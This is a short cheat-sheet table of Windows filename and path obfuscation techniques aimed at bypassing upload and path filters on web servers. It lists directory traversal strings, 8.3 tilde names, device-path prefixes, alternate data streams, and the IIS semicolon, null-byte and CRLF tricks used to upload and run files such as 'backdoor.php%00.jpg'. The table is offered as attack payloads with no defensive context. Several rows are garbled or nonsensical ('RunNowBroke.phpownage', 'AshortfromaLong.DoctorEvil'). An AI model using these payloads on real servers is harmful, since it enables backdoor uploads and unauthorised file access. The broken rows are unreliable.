WINDOWS FILENAME AND PATH OBFUSCATION TECHNIQUES

Obfuscation	Example(s)	Destination
8.3 formats tilde filenames – bypass filters on forbidden filenames	C:\ashort~1.txt htpass~1	C:\ashortfromalong.txt htpassword
8.3 format extension truncation – Uploading a non executable extension to a server can be turned addressed as an executable	Request: http://site.com/RunNow~.php ashort~1.Doc	Upload RunNowBroke.phpownage AshortfromaLong.DoctorEvil
Minimal Parsing Prefix	\\?\c:\boot.ini	C:\boot.ini
Minimal Parsing UNC to local host Range 127.0.0.1 – 127.255.255.255	\\?\UNC\127.6.4.2\c$\boot.ini	C:\boot.ini
IP Obfuscation with dotless IP (dotless localhost range is 2130706433 - 2147483647	http:\\2130706433\	http:\\127.0.0.1
Direct Disk Object Access – can bypass MAX_PATH checks and overflow 255 character buffers	\\.\GLOBALROOT\Device\HarddiskVolume1\boot.ini	C:\boot.ini
IIS ; ISAPI file extension filter bypass	Upload backdoor.asp;.jpg	Executed as backdoor.asp
Alternate Data Stream File extension obfuscation	C:\filewithdatastreams.txt:$data	C:\filewithdatastreams.txt
Dropped trailing Characters	Filename.txt<<<<<<<>>>>>>><<<<<<> Filename.txt<spaces> Filename.txt..... Filename.txt/./././././. Filename.txt<space>....<<>>>..../././.	Filename.txt
Directory traversal (nonexistent directories)	C:\DoesntExist\..\boot.ini	C:\boot.ini
Directory traversals (unicode)	http://www.site.com/%2e/%2e/%2e/boot.ini	C:\boot.ini
Directory Traversal (extended Unicode)	http://target/.%c1%1c../boot.ini	C:\boot.ini
Null Character Termination	Upload backdoor.php%00.jpg	Execute backdoor.php
Carriage Return/Line Feed Injections	Upload backdoor.php%0c%0a.jpg	Execute backdoor.php